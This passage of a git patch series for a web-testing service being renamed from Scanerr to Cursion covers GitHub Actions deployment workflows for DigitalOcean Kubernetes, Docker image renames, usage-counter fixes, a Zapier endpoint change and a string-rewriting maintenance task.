+# # deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
+# # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-name: Deploy to cursion-k8s
+# name: Deploy to cursion-k8s
 
-# Controls when the action will run.
-on:
-  # Triggers the workflow on push request on the main branch for changes in the specified paths.
-  push:
-    branches:
-      - main
-    paths:
-      - 'app/**'
-      - 'k8s/prod/**'
-      - 'Dockerfile'
-      - '.github/workflows/**'
+# # Controls when the action will run.
+# on:
+#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
+#   push:
+#     branches:
+#       - main
+#     paths:
+#       - 'app/**'
+#       - 'k8s/prod/**'
+#       - 'Dockerfile'
+#       - '.github/workflows/**'
 
-# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
-jobs:
-  # This workflow contains a single job called "build".
-  build:
-    # The type of runner that the job will run on.
-    runs-on: ubuntu-latest
-    timeout-minutes: 30
+# # A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+# jobs:
+#   # This workflow contains a single job called "build".
+#   build:
+#     # The type of runner that the job will run on.
+#     runs-on: ubuntu-latest
+#     timeout-minutes: 30
     
-    # Steps represent a sequence of tasks that will be executed as part of the job
-    steps:
+#     # Steps represent a sequence of tasks that will be executed as part of the job
+#     steps:
 
-    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-    - name: Checkout main
-      uses: actions/checkout@main
+#     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+#     - name: Checkout main
+#       uses: actions/checkout@main
 
-    # Install doctl.
-    - name: Install doctl
-      uses: digitalocean/action-doctl@v2
-      with:
-        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+#     # Install doctl.
+#     - name: Install doctl
+#       uses: digitalocean/action-doctl@v2
+#       with:
+#         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
     
-    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-    - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
+#     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+#     - name: Build container image
+#       run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
 
-    - name: Log in to Docker Hub Container Registry with short-lived credentialse
-      run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
+#     - name: Log in to Docker Hub Container Registry with short-lived credentialse
+#       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-    - name: Push image to Docker Hub Container Registry
-      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
+#     - name: Push image to Docker Hub Container Registry
+#       run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
 
-    # Update deployment files to reflect new build.
-    - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+#     # Update deployment files to reflect new build.
+#     - name: Update app deployment file
+#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
-    - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+#     - name: Update celery deployment file
+#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
-    - name: Update beat deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+#     - name: Update beat deployment file
+#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-    - name: Save DigitalOcean kubeconfig with short-lived credentials
-      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+#     - name: Save DigitalOcean kubeconfig with short-lived credentials
+#       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
-    # Re-deploy app, celery and beat
-    - name: Deploy app
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
-    - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
-    - name: Deploy beat 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+#     # Re-deploy app, celery and beat
+#     - name: Deploy app
+#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+#     - name: Deploy celery 
+#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+#     - name: Deploy beat 
+#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-    - name: Verify app
-      run: kubectl rollout status deployment/app-deployment
-    - name: Verify celery
-      run: kubectl rollout status deployment/celery-deployment
-    - name: Verify beat
-      run: kubectl rollout status deployment/beat-deployment
+#     - name: Verify app
+#       run: kubectl rollout status deployment/app-deployment
+#     - name: Verify celery
+#       run: kubectl rollout status deployment/celery-deployment
+#     - name: Verify beat
+#       run: kubectl rollout status deployment/beat-deployment

From 2408cf3fba8accfc9ed1802cbec11b5850a7ff89 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Sep 2024 16:58:27 -0600
Subject: [PATCH 739/752] updated docker user

---
 docker-compose.dev.yml          | 2 +-
 docker-compose.prod.yml         | 2 +-
 k8s/prod/app-deployment.yaml    | 2 +-
 k8s/prod/beat-deployment.yaml   | 2 +-
 k8s/prod/celery-deployment.yaml | 2 +-
 k8s/prod/ylt-deployment.yaml    | 2 +-
 6 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index cb57041b..8046334c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -89,7 +89,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: cursion/ylt
+    image: cursiondev/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 2354a33b..d798bee4 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -87,7 +87,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: cursion/ylt
+    image: cursiondev/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 34a12314..327022e4 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: cursion-server
-          image:  <IMAGE> # cursion/server:49709ea #
+          image:  <IMAGE> # cursiondev/server:49709ea #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 1ce35625..d7219726 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # cursion/server:49709ea # 
+          image: <IMAGE> # cursiondev/server:49709ea # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index ff0f1e4c..7d69e863 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursion/server:99e2252 # 
+          image: <IMAGE> # cursiondev/server:99e2252 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index 24307c2f..b2899d8f 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -17,7 +17,7 @@ spec:
       terminationGracePeriodSeconds: 30
       containers:
       - name: yellowlab
-        image: cursion/ylt
+        image: cursiondev/ylt
         env:
         - name: POD_IP
           valueFrom:

From 3d5628c2456234e294d3c03791f1f2cd8730990c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 25 Sep 2024 10:04:31 -0600
Subject: [PATCH 740/752] updated for new cursion-k8s deployment

---
 .github/workflows/dev-deploy.yaml |  64 ++++++++--------
 .github/workflows/k8s-deploy.yaml | 122 +++++++++++++++---------------
 k8s/prod/app-deployment.yaml      |   2 +-
 k8s/prod/beat-deployment.yaml     |   2 +-
 k8s/prod/celery-deployment.yaml   |   2 +-
 notes/Kubernetes.md               |  12 ++-
 6 files changed, 106 insertions(+), 98 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index dac20bfa..704b58cf 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -1,34 +1,34 @@
-# name: Deploy to dev
+name: Deploy to dev
 
-# # Controls when the action will run.
-# on:
-#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
-#   push:
-#     branches:
-#       - dev
-#     paths:
-#       - 'app/**'
-#       - 'Dockerfile'
-#       - 'Dockerfile.dev'
-#       - 'docker-compose.dev.yml'
-#       - '.github/workflows/**'
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - dev
+    paths:
+      - 'app/**'
+      - 'Dockerfile'
+      - 'Dockerfile.dev'
+      - 'docker-compose.dev.yml'
+      - '.github/workflows/**'
 
-# jobs:
-#   build:
-#     name: Build
-#     runs-on: ubuntu-latest
-#     timeout-minutes: 30
-#     steps:
-#     - name: pulling latest dev commit and rebuilding app
-#       uses: appleboy/ssh-action@v1.0.0
-#       with:
-#         host: ${{ secrets.DEV_HOST }}
-#         username: ${{ secrets.DEV_USER }}
-#         key: ${{ secrets.DEV_KEY }}
-#         command_timeout: 30m
-#         script: | 
-#           cd ~/app
-#           git pull origin dev
-#           docker compose -f docker-compose.dev.yml down
-#           docker volume rm app_app app_beat app_celery
-#           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
+jobs:
+  build:
+    name: Build
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+    - name: pulling latest dev commit and rebuilding app
+      uses: appleboy/ssh-action@v1.0.0
+      with:
+        host: ${{ secrets.DEV_HOST }}
+        username: ${{ secrets.DEV_USER }}
+        key: ${{ secrets.DEV_KEY }}
+        command_timeout: 30m
+        script: | 
+          cd ~/app
+          git pull origin dev
+          docker compose -f docker-compose.dev.yml down
+          docker volume rm app_app app_beat app_celery
+          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index ea3a819c..a700fd14 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -1,76 +1,76 @@
-# # This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
-# # deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
-# # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
+# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-# name: Deploy to cursion-k8s
+name: Deploy to cursion-k8s
 
-# # Controls when the action will run.
-# on:
-#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
-#   push:
-#     branches:
-#       - main
-#     paths:
-#       - 'app/**'
-#       - 'k8s/prod/**'
-#       - 'Dockerfile'
-#       - '.github/workflows/**'
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
 
-# # A workflow run is made up of one or more jobs that can run sequentially or in parallel.
-# jobs:
-#   # This workflow contains a single job called "build".
-#   build:
-#     # The type of runner that the job will run on.
-#     runs-on: ubuntu-latest
-#     timeout-minutes: 30
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
     
-#     # Steps represent a sequence of tasks that will be executed as part of the job
-#     steps:
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
 
-#     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-#     - name: Checkout main
-#       uses: actions/checkout@main
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout main
+      uses: actions/checkout@main
 
-#     # Install doctl.
-#     - name: Install doctl
-#       uses: digitalocean/action-doctl@v2
-#       with:
-#         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
     
-#     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-#     - name: Build container image
-#       run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) -t ${{ secrets.REGISTRY_NAME }}/server:latest .
 
-#     - name: Log in to Docker Hub Container Registry with short-lived credentialse
-#       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
+    - name: Log in to Docker Hub Container Registry with short-lived credentialse
+      run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-#     - name: Push image to Docker Hub Container Registry
-#       run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
+    - name: Push image to Docker Hub Container Registry
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server --all-tags
 
-#     # Update deployment files to reflect new build.
-#     - name: Update app deployment file
-#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
-#     - name: Update celery deployment file
-#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
-#     - name: Update beat deployment file
-#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+    - name: Update beat deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-#     - name: Save DigitalOcean kubeconfig with short-lived credentials
-#       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
-#     # Re-deploy app, celery and beat
-#     - name: Deploy app
-#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
-#     - name: Deploy celery 
-#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
-#     - name: Deploy beat 
-#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+    # Re-deploy app, celery and beat
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Deploy beat 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-#     - name: Verify app
-#       run: kubectl rollout status deployment/app-deployment
-#     - name: Verify celery
-#       run: kubectl rollout status deployment/celery-deployment
-#     - name: Verify beat
-#       run: kubectl rollout status deployment/beat-deployment
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment
+    - name: Verify beat
+      run: kubectl rollout status deployment/beat-deployment
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 327022e4..2f010b67 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: cursion-server
-          image:  <IMAGE> # cursiondev/server:49709ea #
+          image: <IMAGE> # cursiondev/server:latest # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index d7219726..6fb83431 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # cursiondev/server:49709ea # 
+          image: <IMAGE> # cursiondev/server:latest # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 7d69e863..79af3f60 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:99e2252 # 
+          image: <IMAGE> # cursiondev/server:latest # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index b8660037..04f92139 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -97,6 +97,14 @@ kubectl port-forward service/app-service 8000:8000
 
 > Ensure you are in the `/server` root directory 
 
+
+
+### 0. Create K8s cluster and Configure context
+``` shell
+doctl kubernetes cluster kubeconfig save {{cluster-name}}
+```
+
+
 ### 1. Create docker secrets  
 ``` shell
 kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'
@@ -105,8 +113,8 @@ kubectl create secret docker-registry regcred --docker-server=https://index.dock
 
 ### 1. Build Dockerfile into image
 ``` shell
-docker build . -t cursion/server:latest
-docker image push cursion/server:latest
+docker build . -t cursiondev/server:latest --platform linux/amd64
+docker image push cursiondev/server:latest
 ```
 
 

From fed1c4ecaaf3495644d6343dfd38380781e349ed Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 25 Sep 2024 20:32:54 -0600
Subject: [PATCH 741/752] fixed testcase increment issue

---
 app/api/v1/ops/services.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2c4dcb65..04fae460 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5125,6 +5125,10 @@ def create_testcase(request: object, delay: bool=False) -> object:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
 
+    # increment account.usage.testcase
+    account.usage['testcase'] += 1
+    account.save()
+
     # create new tescase 
     testcase = Testcase.objects.create(
         case = case,

From 9f9446b9a39003ae93aea925c0b813d48dbf85a4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 26 Sep 2024 08:29:11 -0600
Subject: [PATCH 742/752] testing deployment pipeline

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 04fae460..737ddb57 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -412,7 +412,7 @@ def check_resource(account: object, resource: str) -> bool:
         'resource' : <str> 'scan', 'test', or 'testcase
     }
 
-    Returns: Bool, True if resource was incremented.
+    Returns: Bool, True if resource can be added.
     """
 
     # define defaults

From b198768493f5535853294ae01330f844338f08cb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 26 Sep 2024 09:07:30 -0600
Subject: [PATCH 743/752] testing new configs for k8s deployment

---
 .github/workflows/k8s-deploy.yaml | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index a700fd14..9b8e5aff 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -44,8 +44,11 @@ jobs:
     - name: Log in to Docker Hub Container Registry with short-lived credentialse
       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-    - name: Push image to Docker Hub Container Registry
-      run: docker image push ${{ secrets.REGISTRY_NAME }}/server --all-tags
+    - name: Push unique tag to Docker Hub Container Registry
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
+
+    - name: Push latest tag to Docker Hub Container Registry
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:latest
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From 4d2672e4670ca50e4fee3959db5a9f4984e35b7e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 26 Sep 2024 10:04:45 -0600
Subject: [PATCH 744/752] fixed testcase usage issue

---
 app/api/v1/ops/services.py | 2 +-
 docker-compose.local.yml   | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 737ddb57..80cb9cd0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5126,7 +5126,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
             steps[int(update['index'])]['action']['value'] = update['value']
 
     # increment account.usage.testcase
-    account.usage['testcase'] += 1
+    account.usage['testcases'] += 1
     account.save()
 
     # create new tescase 
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 4c599098..afaca8eb 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -86,7 +86,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: cursion/ylt
+    image: cursiondev/ylt
     ports:
       - 8383:8383
     depends_on:

From fb1d1482075958c83b1c1891f9d23a6d76ed3c7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Sep 2024 13:52:58 -0600
Subject: [PATCH 745/752] fixed usage reset

---
 app/api/tasks.py | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7a856b03..a04594e5 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1694,8 +1694,14 @@ def reset_usage(account):
             # begining of sub payment peroid
             # OR if a specific account was requested
             if today == sub_date or account_id is not None:
+
+                # reset usage
                 reset_usage(account)
 
+                # update account.meta.last_usage_reset
+                account.meta = {'last_usage_reset': today.strftime(f)}
+                account.save()
+
         # check if accout is free
         if account.type == 'free':
 
@@ -1713,12 +1719,14 @@ def reset_usage(account):
 
                 # check if over 30 days
                 if abs((today - last_usage_date).days) >= 30:
+                    
+                    # reset usage
                     reset_usage(account)
 
-            # udpate account.meta.last_usage_reset
-            account.meta = {'last_usage_reset': today.strftime(f)}
-            account.save()
-    
+                    # update account.meta.last_usage_reset
+                    account.meta = {'last_usage_reset': today.strftime(f)}
+                    account.save()
+            
     return None
 
 

From a1cd7daca9b90574bd970485a0af95f6ab014fe9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 30 Sep 2024 12:51:22 -0600
Subject: [PATCH 746/752] added beat

---
 notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 04f92139..9ad6d2fb 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -190,7 +190,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
  - Restart celery, beat, & app deployments for a config-map change:
-   - `kubectl rollout restart deployment app-deployment celery-deployment`
+   - `kubectl rollout restart deployment app-deployment celery-deployment beat-deployment`
  - Check status of deployment rollout
    - `kubectl rollout status deployment/app-deployment`
  - Get Current IPs for pods:

From d687931ebba452254f926fc7d3a13565b0335fde Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 30 Sep 2024 14:56:53 -0600
Subject: [PATCH 747/752] updated status for Testcase zapier endpoint

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 80cb9cd0..f776b4a8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5322,7 +5322,7 @@ def get_testcases_zapier(request: object) -> object:
     """
 
     # get request data
-    passed = request.query_params.get('passed')
+    _status = request.query_params.get('status')
     account = Member.objects.get(user=request.user).account
     testcases = None
     
@@ -5346,9 +5346,9 @@ def get_testcases_zapier(request: object) -> object:
             time_completed=None,
         ).order_by('-time_created')
 
-    # filter by passed if requested
-    if passed is not None:
-        testcases = testcases.filter(passed=passed)
+    # filter by _status if requested
+    if _status is not None:
+        testcases = testcases.filter(status=_status)
 
     # build response data
     data = []

From 8c9ee7accdaf618e9671c080492f959c8eae3185 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 30 Sep 2024 15:41:13 -0600
Subject: [PATCH 748/752] fixed zapier endpoint for testcases

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f776b4a8..dac1edb2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5362,7 +5362,7 @@ def get_testcases_zapier(request: object) -> object:
             'time_created'    :  str(testcase.time_created),
             'time_completed'  :  str(testcase.time_completed),
             'configs'         :  testcase.configs,
-            'passed'          :  str(testcase.passed),
+            'status'          :  str(testcase.status),
         })
 
     # serialize and return

From b43a322af81fe36ae184809572a3b6c9d8cde023 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 11:20:43 -0600
Subject: [PATCH 749/752] added script to change issue links

---
 app/api/tasks.py | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a04594e5..f593b232 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2160,3 +2160,37 @@ def migrate_site_bg(
 
 
 
+
+
+@shared_task
+def update_links() -> None:
+
+    def update_strings(text) -> str:
+        if text is not None:
+            text = text.replace('Scanerr.io', 'Cursion.dev')
+            text = text.replace('scanerr.io', 'cursion.dev')
+            text = text.replace('Scanerr', 'Cursion')
+            text = text.replace('scanerr', 'cursion')
+        return text
+
+    for issue in Issues.objects.all():
+        
+        # update title
+        title = update_strings(issue.title)
+        issue.title = title
+        
+        # update trigger
+        trigger = update_strings(issue.trigger)
+        issue.trigger = trigger
+
+        # update details
+        details = update_strings(issue.details)
+        issue.details = details
+
+        # update affected
+        affected = update_strings(issue.affected)
+        issue.affected = affected
+
+        # save issue
+        issue.save()
+

From 2be8d46097bfa58d8f31fee8e585a26c8e586f1e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 11:30:20 -0600
Subject: [PATCH 750/752] fixed readme deployment badge

---
